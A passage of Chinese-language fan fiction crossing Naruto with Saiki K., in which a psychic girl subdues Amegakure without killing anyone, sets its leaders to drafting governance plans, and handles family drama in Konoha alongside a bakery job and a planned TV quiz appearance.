这里雨水过多,不适合种植植物,河鱼之类的倒是畅销,可是又不可能远距离运输。 如果这里的忍者愿意帮忙的话…… 她胡思乱想着,面前的红色忍者却是面色一沉。 “弥彦会搞定的。” 楠子呆了一瞬,‘那就是说,你就什么都没想吗?’ 张了张嘴,她不由得道:“他是你的朋友吧?总把事情和决定压给别人,可算不上帮忙。” 长门沉默了。 ‘这个人也头脑简单。’楠子下了定义,因为他的心声亦不算复杂,甚至都比不上震惊的药师兜。 她又去看泉奈,“你和斑呢?你们是怎么想的?” “……先把村子占下来,而后,将人群聚拢在一起。”泉奈明显是有些想法的,却不愿意多说。 楠子点了点头,看了看天色。 和木叶不同,这里的黑云遮蔽了整片天空,黑压压的连成一片,若非是忍者,恐怕都看不清楚其他人的脸色。 长门似乎冷静了下来,“我们已经安排好了内应,只要从那边突进进去……” “内应?”楠子有些意外,看着长门摇了摇头,平静道,“不需要。” “什么?” “我是说,我一人足以。” 她转过了头,看向泉奈,“你的兄长呢?我们一起去。” 泉奈看向了另外一个方向。 楠子点了点头,走了过去,长门眉头紧蹙,想要跟上去,但是看看身后那豆丁,干脆拽起了他,在对方的惊呼声中,迅速追上。 ----------------- 山椒鱼半藏正在做梦。他已经老了,身体变得老迈,时不时地就睡不着觉,因此现在,反而想要享受难得的睡眠时间。 外间,却有着细微的水声。 他眉头紧蹙,想要呼唤自己的护卫…… ‘等等!为什么护卫不在?!’ 他骤然清醒,披衣而起,紧握住自己的武器,压低声音呼叫护卫,半晌却又无人回应。 心越发沉了,他竖起耳朵细听,突然脚步发力,向着窗户猛然突进。 镰刀割断了铁质的窗格,看见外间的景象,他的动作猛然迟滞,身形一歪,差点歪倒在下层的平台上。 “这……这是什么?”他喉头发涩。 数十条巨大的水龙如同水蛇在雨之国的铅灰色建筑中游走,穿过一处,就将数十个忍者吞入其中,而后仰首朝着另外一栋冲击而去。 里面的忍者们有的穿着睡衣,有的已经拿起了武器,却都面露痛苦,连呼吸都似乎不能。 坠入龙尾的人已经生死不知,而龙首前端的还在努力挣扎。 但是,没用。 没有办法使出忍术,又怎么能挣脱这样的……术呢? 不?这真的是忍术吗? 巨大的水声哗哗作响,他方才居然一无所觉? 怎么会?怎么会? 这……不会是梦境吧? “不,这不是梦境。”一个冷淡女声响在上方,半藏几乎是警惕地跳开,却差点掉下了平台了。 他向下一看,才发现是条细一点的水龙托住了他。 他站在对方的“鼻尖”之上,水龙之中的,正是他那班本应坚守岗位的护卫们。 “原本想着结束后,再叫醒你的,但是看来老一辈的忍者,确实有两把刷子。” 他仰头望去,就见一个并不算高的“孩子”带着面具抱着手,立于他所在的那栋建筑之上,身后还站着几个陌生忍者。 红色半长发,紫色眼眸的神情讶异且凝重,身边似乎还站着一个小孩。 带着黑白面具的,屹立不动。 略前方一点,还有一个身披黑袍的老人,也讶异地看着眼前的景象。 他认识这些人,似乎心中恐惧的事物出现在了面前,他反而变得冷静。 “你们……是晓?” “……是。”那女孩应答着。 半藏继续试探,“你……是水影?” 那女孩歪了歪头,似乎在问询别人:“我真的很像水影吗?” “不知道,我没见过水影。”回答的,是那个听起来十分冷静的面具人。 “嗯,”她转回了头,“我听说水影只是长不高而已,但我……未来是应该能突破165的吧。……啊,你们回来了?怎么样?救下来了吗?” 半藏自然也都发现了有人靠近。 数十位忍者散落在周围的房顶上,几乎和他一般惊讶中带着恐惧,领头的忍者扶着一个青年。 他认识,是最近十分活跃的后辈之一。 他深深忘了一眼那喘着粗气的男孩,已经明白这就是他一直在找的背叛者。 可现在找到又有什么用呢? 心中苦涩与警惕交织,他抬眼去看面前的女孩。 “说吧,你到底要做什么?” 16. 讨论 楠子要做什么? 她当然是需要一块地,一个村,一些村民,来搞《合战忍者村》啦! 咳咳,串台了。 望着底下的山椒鱼半藏,她清淡地说:“我需要一个村子,践行自己的理念。所以,需要你退位让贤。” “呵!哈哈哈哈!说什么让我退位让贤,你只不过是个强盗而已!”半藏狂笑着责骂。 楠子却已经听到了他的心声。 【找机会突破,而后,逃走!】 于是,她歪了歪头,目光注视着半藏,看着他的动作僵住,而后是嘴角,心中涌起了质疑、恐慌,乃至恐惧。 人们称呼他为“半神”,但他也果然只是“半神”,离宇智波斑这种真正的忍者豪杰还差得多。 至少在同样被制住的情况下,斑爷爷可不会去恐惧什么。 他的心中只有一往无前。 似乎是过于笃定,泉奈甚至在这个人人戒备且讶异的情况下,转头问她: “你又变强了?” “是啊。”楠子的语气就像是在说“天会下雨”这样的小事,“我都有点怕我在能够控制这份力量前,被发配到《龙○》。” 泉奈和众人当然不知道什么《龙珠》,自然也不懂她的冷笑话。 他只点了点头,不再说话。 她正想说话,忽而一顿,看向了那个橙发的忍者。 “好像,有人有话要说。”她扬了扬下巴,“半藏,我来介绍一下吧,那边那个,是弥彦,晓的干部之一。” 楠子不理会弥彦三人组关于【不是代理人,是创始者】的惊呼,开始走神。 说起来,弥彦三人虽然想着要为所有人带来和平,但他们还太过年轻,也并未像是楠子一样受过现代社会的熏陶,所以他们的想法实质上十分单纯。 沟通,只要组织强大起来,再带着诚意沟通就好。 所以在一开始,弥彦等人虽然勉强同意了斑激进的“雨隐村夺取计划”,却只想着,展示组织的实力,而后努力和山椒鱼半藏达成协作而已。 谁知道,他们根本无需出手,雨隐村就被轻易覆灭,而山椒鱼半藏也被轻易制住了呢? 这样不对! 这样同样会带来无数死亡,带给大家的也只有恐惧而已! 可是,被叫做“晓”的女孩已经下手,他不是对手,自然也不能拆台,也只有快速说服半藏,努力减少伤亡而已。 “就是这样!半藏大人,我们并无恶意,请和我们一起,努力安定雨之国!” 他恳切来言,周围的一些晓的忍者神色震动,另外的一些却在看斑的脸色——因为,无论是那个女孩,亦或者泉奈,都带着面具,看不出神色。 山椒鱼半藏的全副心神更全在那个女孩身上,对于弥彦的话只是敷衍和冷笑。 “呵!杀死所有雨隐村的忍者,而后告诉我,你们是希望平定雨隐村?!”他声音发狠,“你们知道雨之国为什么现在还存在吗?!那是因为,是因为……” “是因为你山椒鱼半藏的赫赫威名,是因为你在战场上一个一个杀过来的英雄事迹。不然,雨之国早被其他国家瓜分了吧。啊……不,其他大国也不希望雨之国消失才对,这样,战争,不就要发生在自己的国家了吗?” 风声和雨声中,楠子的衣袍猎猎作响。 她一步一步走下,像是空气中凭空出现了阶梯。 “我明白,我都明白。”她说着,望着山椒鱼半藏的神情。 这六年来,她并不是什么长进都没有,无论是猿飞日斩,还是志村团藏,都“教导”了她许多。 为了弄清楚这个扭曲的世界究竟是怎么运行的,她甚至时不时就跑去木叶的秘密档案室里进行“学习”。 她……脏了。 ‘呀嘞呀嘞,我果然还是更适合搞笑漫画,要么还是移民到《银○》吧,啧……感觉那个世界也未必容得下我就是了。’ 面对这位难说功过的老人,她的声音越发清淡,“你镇守在此地已经很久了,所以,我说,现在换我来。” “换你?”半藏居然扯起了嘴角,眼珠努力向着身后望着,开始挑拨,“而不是他们吗?” “他们理念可以,但是实力不行。”楠子冷漠地指出了事实,“你不是知道吗?对了,我听说……木叶已经开始联络你了?晓会威胁你的统治,所以……想办法收拾掉他们吧?但是很抱歉,虽然他们不够成熟,但是……也算是我的期待对象呢。” 她这暴言激起的不只是山椒鱼半藏的心绪,还有其他晓的忍者的。 不仅仅是心音,他们甚至开始大声询问了起来。 可楠子并没有回答的想法。 说起来,她根本不认识晓的许多忍者,也根本不是个E人。 挨个提升好感度,拿到特殊结算CG后,成为对方的“伙伴”,而后一统忍界,实在是太慢了。 ‘这种麻烦事就交给其他人就好,我看好你哦,橙色头发的。’ 她的眼神当然没被弥彦接收到。 对方还沉浸在巨大的惊讶之中,试图询问什么,却发现根本无从质疑。 他当然没办法。 他还太年轻,而这个世界的忍者们在忍术上的理解一骑绝尘,其他方面迟钝到不如楠子那个世界的小学生。 对,说的就是那个她自诩天才的哥哥。 ‘啊……又走神了。’楠子转回头,看向了半藏,“虽然已经晚了,但我还是想早点回去睡觉,所以,你的回答呢?” 半藏的嘴角抽搐了一瞬,意识到这里谁能做主之后,他张嘴问:“我要先听听,你的处置办法。” ----------------- ‘啊啊啊!糟糕糟糕糟糕!太担心父亲的事!竟然把楠子丢在了那里!’ 旗木卡卡西中忍今天告白大失败。 待到利用忍犬找到父亲和野乃宇前辈,他又等了一会儿,用特殊的方式叫走了父亲,才将从楠子那里听到的事一股脑儿说了出来。 “野乃宇前辈怀孕了,”他紧盯着父亲讶异到僵住的脸,“楠子说,野乃宇前辈准备带球跑!” “带、带什么?”旗木朔茂明显不懂这个时髦的词汇,反应了一会儿,才明白自己的儿子在说些什么,脸立马涨红了,“怎、怎么会!” 不知道是因为什么,他的脸又突然变得刷白。 “要么,求婚吧!”旗木卡卡西这次根本没给自己父亲反应的时间,而是直接沉声道,“我没有关系,只要父亲你幸福就好!如果能有新的家人,我……我也会很高兴的!” “可是……”朔茂望着他,有些犹豫。 “不要可是了!父亲!”卡卡西断然打断了父亲的话。 或许是因为头脑过于灵 活,在一开始冲出去之后,他就忽而想起了,孤儿院的孩子们大多叫野乃宇妈妈。 那么,一旦父亲结婚,楠子……楠子的话…… 唯一能庆幸的只有一点,那就是楠子其实并没有称呼野乃宇为“母亲”。 在想到这一点的时候,卡卡西自己都觉得荒谬。 他迅速地仰起头,试图说服父亲,“野乃宇前辈可能会拒绝您,但是,父亲……我……” 一只宽大的手落在了卡卡西的头上,压得他头忽的一重。 仅仅这一压,他就感觉自己的心脏像是被什么酸涩的东西填满。 “抱歉啊,卡卡西,似乎一直都在让你担心呢。” 父亲温柔的声音响起,“那个……之前不和你说,也是因为怕你在意。” “……不,我不在意。”卡卡西的声音发闷。 可他怎么会不在意呢? 原本以为父亲只是因为性格粗疏,所以才不会在意家人。 却突然发现,他或许只是不在意自己而已。 对着两人暧昧的蛛丝马迹,视而不见,试图做个不耽误父亲的好孩子。 却最后还是什么都不知道,如果不是楠子……不是楠子的话…… “抱歉。”旗木朔茂的话语里带着一丝悔意,可是即便是他,也不知道这个时候应该做些什么? 抱住卡卡西吗?对于这样的举动,他太过陌生,再说些别的,又感觉难以启齿。 最终,他只能说:“卡卡西,我们之后,好好谈谈吧。” “……嗯。”卡卡西低着头,不说话,在父亲转身的那一个瞬间,目送他走远,迎向了远方的野乃宇院长。 灯火下的视线逐渐变得模糊,化作了无数水块。 他深吸口气,背过身去,迟滞着脚步,慢慢走着。 却突然听到一声呼唤。 “卡卡西,卡卡西!” 手臂快速地擦过眼角,他慢慢转身,就见到野乃宇院长站在了他的面前,后面则跟着有些尴尬,脸上还有一个鲜明巴掌印的父亲。 ‘父亲,被打了?’ 卡卡西颇为哑然。 “卡卡西。”野乃宇的脸涨的通红,“是楠子吧?一定是她说的!我就说……就说她怎么会……” 他沉默了一下,扭过了头,“不,不是的。……是兜。” 野乃宇惊讶地看着他,而后“噗嗤”一声笑了出来。 “好,是兜。”她说着,神色渐渐平静,“我原本想要走,是因为一些其他原因,你可不要因为我们这样的坏榜样,就对爱情失去信心哦。” “我、我不会的啦!”卡卡西可没想到野乃宇会说出这样的话。 “那好。”野乃宇的神色变得郑重,她半蹲下来,扶住了卡卡西的肩膀,看着他的眼睛,而后问,“我只是想确认,你……真的……真的可以接受……接受一个……” 她的脸逐渐红了起来,似乎难以开口。 可卡卡西却明白了对方的意思。 脑海里闪过楠子深紫色的眼眸,平静而笃定的眼神和那清冷的声音。 “我相信你,所以,无论你做出什么样的决定,我……都会支持你。” ‘如果楠子在我身边的话……’似乎,什么都无所谓了。 他微一点头,仰起了脸,看向了野乃宇和父亲:“当然,当然可以。” 17. 处置 处置办法? 楠子早就想好了,不然,她不会出现在这里。 她沉声道:“雨隐村归我,你也要听我的话。” 山椒鱼半藏的神色变得僵硬。 【这一战之后,雨隐村的忍者还能剩下多少?】他想到了那些水龙里的“尸体”。 楠子诡异的沉默了一瞬,然后诚恳来问:“你不知道水牢术吗?这忍术杀不死人的。” 场面直接静了一静。 “这只是,看起来不像是水牢术而已。”泉奈替楠子解释着,只是这话说着,感觉好像很违心。 楠子看了他一眼,没有说话。 虽说她现在只有十二岁,但是在这个危险的世界,她反而有好好锻炼自己的超能力。 不然,不小心一动手就要人命怎么办? 她这么努力,也只是为了大家的性命着想啊。 因此这利用雨之国的雨水聚集起来的水龙,并不是像是水柱一样的实体,而是松散的网状结构,也真的只有让人溺晕的效果。 按理说这需要精确的控制力,但对于楠子来说,也只是想到,就能做到的程度。 ‘所以,我才不是一般的超能力者啊。’ 接下来的事情,无比顺利。 惜命的山椒鱼半藏,看到雨隐村所有的忍者都活了下来之后,就直接认命。 楠子在一瞬间震醒了所有的战俘,忍着羞耻,说出了“此后,我就是雨之国的神”这类台词。 不说不行,这个世界的忍者根本不吃“平等啊”“和平啊”这一套的,简直就像是被绳子栓久了的牛马。 当然,也有弥彦一类的忍者,但是提升好感度再让对方信任自己,需要花的时间太多了,拥有着双面人生的楠子,根本没那么多时间。 她和半藏,以及晓里能说得上话的忍者一起站在了天台上,放眼望着下方依旧惊恐的人群。 晓的其他忍者则在疏散人群,接管防卫,底下的忍者却完全不信,还在想着让山椒鱼半藏大人出声呢! 天台无比安静,只有雨水滴落的声音。 当然,这里的心声依旧嘈杂。 冷笑的,嘲讽的,担忧的,平静的…… 只是楠子在仔细聆听下面人的心声,暂时不做理会而已。 看了半晌,她说:“阿啦,是晕的太快了,所以还没有实感吗?” 因而才会心生惶恐和侥幸,乃至传出稳定不下情绪的恐慌之音。 她想了想,道:“果然,比起水来,还是火焰更令人害怕吧?” “呵,你是要我使出火遁吗?”斑抱着手臂,嘴角挑出一抹笑来,“这样确实可以震慑敌人,但是目标是哪里呢?” 他目光正寻索着,想要在适合的地方发出一击火遁,就听见自己弟弟沉稳声音。 “兄长。”泉奈“看”了一眼斑,又转向已经去盯着斑的楠子,“不可以太过分,只要展示力量即可。” 这话当然不是对楠子说的。 他知道楠子不想杀人,反而是在阻止他视人命为草芥的大哥。 ‘就是。无论是地还是人,这都是我的财产,我的。’ 见楠子也转过了脸,斑冷哼一声不说话了。 ‘真难搞。’明明说要阻止战争,但是宇智波斑才是战争贩子吧? 楠子心里想着,又沉默了几秒。 “我觉得,我需要一个议事厅。” 她听见有人在脑海中冷嘲热讽。 【这种时候,还建什么议事厅。】 ‘当然可以建。’ 她回忆着6岁以前的记忆,在电视上,或者哥哥打的游戏中见到的宏伟建筑物。 不行,那些都不够特别,完全不能提醒其他人要服从自己。 楠子最终抬起了手。 凭空造物,这也是她的能力之一。 只要是她想,这世间所有的无机物都是她的材料。 众人脚下一空,却感觉脚下的楼宇翻涌着变形,而他们没有感觉到任何查克拉的流动,就感觉自己凭空立在了空中。 “材料不够。”楠子平淡说着,雨隐村周边的泥沼就翻涌起来,在众人惊恐的叫喊声中,向着他们一行人覆盖而来。 啊……那并不是覆盖,泥沼带着泥土,像是泥塑一般,掺杂着原本建筑的泥灰,如同藤蔓逐渐交叉成型。 而后是火焰。 凭空而来的火焰。 没有手印,没有查克拉,甚至没有念出招术名称。 所有身处雨隐村的忍者,眼见着从天而下降落的火龙,缠绕上那巨大的泥土藤蔓所塑的泥山。 不需要很久,那火焰绕过的地方,就像是变身一样,显露出一个巨大的雕塑。 紫色的纤瘦人形盔甲,上面覆盖着绿色的半甲,肩部竖立着板甲,头盔的额顶则是一根尖尖竖立的角。 这个怪异人形半跪着,手高高抬起,捧着一个巨大的圆盘。 天空中方才被抬高的众人朝下去看,才发现那是一个圆形的建筑。 只有靠近雕塑的那一面,才有长长的楼梯和地面相连。 而火龙自建筑的周边离开,居然没有消失不见,而是张开了巨口,盘旋到了众人之后。 “我们下去谈吧。” 楠子率先迈进了圆形建筑,被迫跟随的众人方一进去,就发现这处地方的四周已经腾跃起火焰,汇聚成灯火,让这片空间明亮无比。 地面上“长”出了一张巨大的圆环型圆桌,而后是二三十把椅子。 那真的是长,就是土里突然冒出了芽。 却又不像是土遁。 而后最后一位进来的才发现,这里明明没有窗户,朝外一面所有的地方都只是镂空的廊柱,却没有一滴雨滴进来。 所有人都静默无声,连斑都闭了嘴,看着楠子走上首座,安坐下来。 “大家请坐吧。”她抬手指了指座位,“现在,我们可以好好谈一谈了。” ----------------- “你们的想法都太浅显了,方案也一样。”楠子蹙着眉,“我看你们都没有想好,只是在敷衍我而已。” 她特意盯了一眼同样没什么新意的斑,而后又去看泉奈。 ‘怎么你没和你哥哥沟通吗?’ ‘抱歉,我的兄长他……’泉奈不想说自己的兄长根本不擅长内政。 可事实就是这样。 他作为怨灵时,至少还时常看着千手扉间处理木叶村的事务呢。 他哥直接一个大放弃。 这么多年也没有长进。 至于山椒鱼半藏,他也无话可说。 他要是能将雨之国治理好,那他就不必担忧自己的晚年了。 可考虑到雨之国的地理环境,他能够支撑起这个地方已经很不错。 最后是弥彦、长门,在震撼于楠子强大的力量,而后又发现她竟然肯听他们说话之后,他就说明了自己的主张。 楠子对此的评价是,可以尝试,但很幼稚。 “你可以先缠着半藏,说服看试试。”楠子对弥彦 说,“他是位经验丰富的前辈,你们可以先跟着他学习。” “我们也跟着斑前辈学到了很多!”弥彦急切道,“如果有你这样强大的力量,那么忍界的战争……” “呵。”楠子的笑声打断了弥彦的话。 她的面具直直朝着他,“那我消失了怎么办?靠着力量得来的统治就像是开了作弊器。” “什么?作弊什么?”弥彦有些难以理解。 楠子深深看了他一眼,“我需要的是行之有效的治理机制,而不是靠力量。你们一开始的设想,不也是如此吗?不要去依靠他人,或者力量,那是最悬浮不过的东西。” ‘这里还是太贫瘠了,无论是地,还是人。’楠子心里想着。 即便心有理想,却没有实现的办法。 但这里作为一块试验田,到底是足够了。 她垂下眼,冷声说:“两件事情,第一,一周之内,我不管你们是去问人,还是自己思考,我要见到在场的每个人都拿出一套行之有效的治理方案;第二,统计好雨之国和雨隐村的人口、经济数据,而后做出后续的安置方案。两者至少完成一件,不然,就出去做牛马。” 面对弥彦几人的惊讶,楠子平静道,“说要平定天下,就先试着平定这里吧,希望你们这些大人,不是在说大话。时间晚了,我要回去睡觉了,下周见。” 说着,她和那个小孩,已经消失在了圆形会议室中。 ----------------- 【楠子姐,这已经不是称呼一句“大姐头”就能概括的啊!】 身体虽然疲惫,但是现在药师兜眼睛亮晶晶的,根本一点睡意都无。 “楠子姐,我……” “去洗澡。”楠子瞥了一眼身后的药师兜,“别感冒了。” 像是意识到什么,药师兜紧紧闭上了嘴,还做出了一副拉拉锁的动作,神情严肃地跑去了浴室。 而这个时候,楠子也脱下了自己的斗篷。 她脚步微动,方想要去洗漱,忽而感觉有人靠近。 她差点反射性地躲开,就感觉一个带着凉意的身体拥住了自己。 ‘旗木卡卡西!’ 楠子睁大了眼睛,屏住了呼吸。 诚然,她是想到了卡卡西会在事情结束后来找自己,但是啊…… 但是突然出现在无人的走廊里抱住自己,这根本就是跟踪狂吧混蛋! 她差点都要动手了!孤儿院差点要毁了你知道吗?! “抱歉,楠子,那个……你生气了吗?我着急去找父亲……父亲说,他会和野乃宇院长好好谈谈的。” ‘这个时候还在骗人!不是知道两个人谈好,准备在一起了吗?’听着卡卡西言不由衷的话,还有他那快速飘过的心声,楠子嘴角不由得抽了抽。 她是说了“相信”“支持”之类的话,但那和答应告白是完全不同的事啊! 又来了又来了,帅哥的自我意识过剩! 还有啊,在心里说什么【我只有你了,拜托一定要答应我】,不是很犯规吗? 而后到这种时候还想着可以装可怜骗我什么的,卡卡西你真的是人吗? 楠子感觉自己的心脏砰砰跳个不停,忍了又忍,终于让自己的表情和情绪都定格在0这个分界线上。 而后,她微微一动,扯开了卡卡西的手臂,转过身,对着旗木卡卡西露出了浅淡的笑。 “那还真是好呢,我相信旗木大叔。这样……我和卡卡西你,就能成为兄妹了吧?真是,可喜可贺。” 18. 打工 目送着满脑子念叨着‘我惹她生气了吧,绝对是惹她生气了吧,怎么办?’的卡卡西,一摇三晃的走远。 齐木楠子的嘴角溢出一丝淡笑。 但是意识到自己在笑之后,她立马拉直了嘴角。 ‘不行不行,绝对不能沉湎于帅哥,我可是世界最强的超能力者啊,精神岂能如此脆弱。’ 于是她这一天继续前往甜品店打工。 说实话,这已经是最轻松,最适合她的工作了,穿着可爱的蛋糕裙,带着蛋糕小礼帽,捧着试吃的盘子在路边大声棒读: “蛋糕试吃,蛋糕试吃。” 哪怕她的样子并不显得有多么亲和,还是会有那么一两个人过来。 是的,她一开始就明白店主招聘她是为了什么。 她这样的美少女就该做看板娘! “哇,楠子,你穿的这是什么?!”一个刺猬头从草丛里钻了出来。 楠子虚着眼望着他。 宇智波带土,卡卡西的恋爱脑队友。 ‘啊……不对,他们整个小队都是恋爱脑也说不定,也就只有琳好一点。’ 至于被带土看到这样的模样,楠子已经习以为常。 在这个模式的世界,她真是抛弃了很多许多其他人都没有的东西,那就是羞耻心。 “你来干嘛?”楠子冷淡问,而带土已经靠了过来。 “你拒绝卡卡西的告白了?” 楠子瞪起了死鱼眼。 ‘果然啊,青春期的男性忍者脑袋里就只有这个吗?’ 带土早已习惯她时常出现的沉默,自顾自说了下去。 “卡卡西看起来很沮丧啊!实在是太逊了!” “啊……真是太逊了。”楠子棒读。 “等等,你怎么能说他逊!” 她的眼神一顿,死鱼眼之直视落在了带土的脸上。 啊啊……有的时候,她真的很怀疑,带土喜欢的到底是谁。 可这种话说出口,对方一定会涨红着脸,说:“才、才不是呢吧!” “我才不会说才不是呢!”带土真的涨红了脸,只是被气的。 “啊,不好意思,我居然将心声说出口了吗?”楠子有些抱歉。 “你根本毫无愧疚之心吧!” “抱歉,是这样。”楠子恢复面无表情,“不是说好了,不互相插手的吗?就算是关心卡卡西也不要越过界限啊少年。” “可恶!”带土咬紧了牙,手也攥紧了。 可楠子就是知道他并不会真的因为这种事生气,因为宇智波带土是一个真正的好人。 论起正义值来,说不定比卡卡西都高呢。 所以,楠子也根本不怕得罪他。 她的目光向着另外一个方向看去,语气依旧平静无波。 “蛋糕试吃,蛋糕……对,鼬,要尝尝吗?是新品哦!” ‘鼬?’带土一怔,看向了那个方向,没一会儿就见到路边的大树背后,走出了一个小孩。 宇智波鼬,是族长宇智波富岳的儿子。 虽然还年幼,但是在族内已经有了天才之名。 带土撇了撇嘴,“楠子,我先走啦。” “嗯?不吃蛋糕吗?”她微微抬高手中的盘子。 “谁要吃那甜死人的东西啊!” “我哦,我爱吃哦。”楠子面无表情。 带土呲着牙,“那你就吃吧。切~” 说着,他立马跑了个没影。 ‘还以为他会带着这个小孩一起回宇智波的族地呢。’ 楠子想着,只是目光转到鼬的身上,就有些明悟。 ‘原来如此,之前还在想普通的小孩心声中怎么会提到战场,结果原来是被不负责任的大人带过去的啊。’ 绝望了,她要对这个把自己四岁的儿子带去战场杀人的世界绝望了。 楠子半蹲下来,迎上了迟疑着走上前的鼬,从兜里掏出曲奇。 “这是我的试作品哦,送给你吧。” “嗯?啊……谢谢姐姐,可是,妈妈说,不能随便收别人的礼物。”年幼的鼬低下了头腼腆道。 ‘哦呼,太可爱了。’楠子神情依旧平静无波,心里却像是响起了火车鸣笛。 “没关系,只是试作品。”总比送给没良心的弟弟好。 楠子想起了兜,和看似温顺实则动不动就冒出一个坏主意的兜相比,鼬乖多了。 看着鼬道谢后收好,楠子又问:“今天要来试吃吗?” 当然不是,可爱的鼬是来用他的零用钱,给他的爸爸买生日蛋糕的。 自从他出现在树后,她就从他的心声里听到了。 此刻也不过像是NPC一样例行地进行对话。 “需要推荐吗?”“要多大的?”“喜欢甜的吗?” 虽然她不觉得鼬的父亲会喜欢生日蛋糕,但是以他的零用钱来说,能买下一个小蛋糕,就已经是很不错的礼物了。 如果能再特别一点就更好了。 看着他挑好,楠子微微弯腰,问:“如果是你买的,就算是4寸,爸爸也会很高兴吧?需要我帮忙写上文字吗?” 鼬有些害羞,“那个?贺卡上吗?我可以自己写。” ‘啊……才4岁,就比当年6岁的带土认得字多了啊。’楠子不动声色,但着实再次感受了一把忍界的阶级差异。 一边想着,她继续说:“我说的是蛋糕上的字哦,店长不在,我可以帮忙。” “啊,可是,在这么小的蛋糕上写字的话。”鼬有些犹疑,可在楠子的目光下,还是慢吞吞道:“那麻烦姐姐你写上‘祝爸爸生日快乐。’” “嗯。”楠子回应着,将蛋糕拿去了后面的操作间,借着角度,她假装将装着什么的裱花袋拿在手中,实际上却已经开始使用超能力。 适当的加热,而后是将巧克力拉成丝线,固定在4寸的蛋糕上。 这对6岁前无法控制超能力的楠子来说很难,但是忍界的规则,对她宽容了很多。 迄今为止,她的超能力越发强大,也越发五花八门,但是借着催眠自己和保持情绪稳定,她还是做到了控制自身能力。 “给,你的爸爸一定会很开心的。” “嗯!”楠子看着鼬捧着蛋糕盒子,挥着手告别,也不自觉地朝他挥手。 ‘哎……别人家的弟弟呀。’ 她想着,看了看周围的人流,继续在甜品店的门口棒读。 “蛋糕试吃,蛋糕试吃。” ----------------- 晚上,宇智波宅。 美琴将鼬买的蛋糕拿了出来,“富岳,这是鼬买的蛋糕哦!是他自己的钱哦!” “哦?是吗?呵,真不愧 是我的儿子。”宇智波富岳那满是自豪和感动的神情,让年幼的鼬脸色发红。 “没什么,只是……我尝过了,这家店的蛋糕,确实很好吃。” “嗯,确实,在这么小的蛋糕上作画,确实很难呢!”富岳也抱着手评鉴道。 “嗯。”鼬答应着,去看那个蛋糕,只是笑容却是一顿。 甜品店那位叫楠子的姐姐,是直接将包装好的蛋糕盒交给他的。 出于信任,他也未曾打开过。 可……如果他没记错的话,那位姐姐应该完全没有做出加热巧克力的举动啊…… ‘不过,应该是错觉吧。’鼬想着,将这件事放到了一边。 齐木楠子对于宇智波宅发生的事情一无所知。 她在木叶的生活十分祥和。 无视卡卡西的偷瞄,面无表情地听野乃宇院长说自己要和旗木朔茂结婚,而后鼓掌恭喜,听着旗木大叔保证说要为了孩子而努力。 ‘嗨呀,旗木大叔,你就完全忘了你还有另外一个孩子叫做旗木卡卡西吗?’ 楠子一边鼓掌,一边在心中吐槽。 不过卡卡西自己不那样认为。 他有着无与伦比的责任心,乃至于连未曾出生的弟弟/妹妹都划在了他的责任范围之内。 更何况她这位“妹妹”。 “那个,楠子,如果野乃宇院长离开孤儿院的话,你要不要和我们一起住。” “不要。”楠子十动然拒。 “嗯?可是……”卡卡西不知道要怎样将理由说出口。 在这个忍者小小年纪就要上战场的世界,12岁的楠子早就应该离开孤儿院自力更生才对。 很多孩子都是这样做的,而楠子依旧住在孤儿院,很大程度上是因为野乃宇院长的偏爱。 而野乃宇院长一旦离开,楠子在孤儿院的处境也会变得艰难。 “正因为野乃宇院长离开了,所以我更要留下来。” 楠子停下了手中的活计,看向了卡卡西,强调道:“哪怕是成为了你的妹妹,我也要留下来。” “额!”卡卡西遭受重击,可他在下一个瞬间就学会了听而不闻。 【没事的,还有很多时间!啊……不如说,楠子想要留在孤儿院,是因为其实她并不想在这种情况下成为我的家人吗?】卡卡西大脑转的飞快,皱起眉来,“可是,如果野乃宇院长离开的话,你要怎么留下呢?” “只要有钱就行了。”楠子收回了目光,看向了自己现在正在制作的东西,“我准备去参加电视台的《最强头脑王》,奖金有100万两。只要我将这100万两投入孤儿院,就谁都不能赶我走。” 卡卡西未曾料到楠子还有这样的想法,他皱起了眉,‘那是电视台的比赛。不说黑幕的情况,但就头脑方面,楠子获得第一的可能性……’ 理智让他想要说出“楠子获得第一,完全不可能”,毕竟楠子如同高岭之花,气质高远,虽然美丽,但缺乏亲和力,还有那双眼睛,但那种比赛必定会涉及到忍者知识吧…… ‘呀嘞呀嘞,这次是夸赞和缺点一起说吗?’ 楠子心里想着,站起了身,目光阻住了卡卡西的思绪。 【楠子……】他的脑海中又只剩下了两个字。 楠子说:“我知道很难,所以……你能以家人的身份,到场为我加油吗?” 19. 见面 【家人?楠子把我当做家人。】 【可是,如果是家人的话,那么就不能ki,ki……唉……】 ‘拜托了,请不要擅自脑补过分的事,而后又沮丧起来啊。’ 楠子木着脸“听着”卡卡西的心声,干脆打断道:“这是节目组的要求。” 她将合同递给了卡卡西。 “什么?你都通过初选了吗?”卡卡西有些惊讶。他大部分时间都在做任务,不知道楠子的情况。 楠子亦没有理会卡卡西例行的沮丧。 去电视台面试了几遭,外加关注了电视台几位重要人员的心声,她现在已经是综艺老鸟了! 每个综艺节目都是有套路和人设的。 而她在节目组心中的定位,就是在一众戴着眼镜,穿着格子衬衫的男大中间的三无萝莉。 对,她齐木楠子面试进入《最强头脑战》,凭借的不是扫描仪一样的记忆能力,超级大脑的计算能力,永不断电的心灵感应,而是高人一等的美貌! 等到节目组发现,他们邀请到的12岁少女不是那种萌萌哒的类型,已经迟了,所以只好定位为“三无萝莉。” 至少,那位制片人是这样拍板的。 这次的节目提供了数量巨大的题库,里面还有忍术知识方面的内容。 当然,类似于数学题之类的题目,只提供了例题和解法,具体能不能实际应用,就看个人的能力了。 ‘呵,可是我会作弊。’ 是的,只要确保卡卡西在场,她就能放心大胆的通过心灵感应作弊。 要问为什么野乃宇和旗木朔茂不行,那是因为他们根本没有见到题就想做的那种坚持啊。 如果是卡卡西,那么看到题的一瞬间,脑海里就会出现思路,她再按照思路去解题就好。 计划通! ‘呵,区区头脑王,就是我囊中之物了。’ 楠子歪嘴邪笑。 时间如白驹过隙,光阴流转而过。 孤儿院,甜品店,雨隐村,电视台,旗木宅…… 照顾小孩,打工,挥斥方遒,节目准备,婚礼准备…… 楠子的生活过于充实。 ‘呀嘞呀嘞,我一开始对于自己生活的想法可不是这样啊。’ 她想着,看着眼前的衣服。 ‘至少,也没有想着穿上这样的服装啊。’ 这是一身大正风的和服,上身是深紫色的二尺袖上衣,下身是枣红色的,带着玫瑰暗纹的中长蕾丝裙,连皮鞋都配好了。 再转眼用透视去看电视台的其他换衣间。 ‘啊……眼睛要瞎了。’她木然转回目光,又落到了衣服上。 ‘原来如此,他们负责头脑,而我负责美丽部分的原则,是要贯彻到底了呀。’ 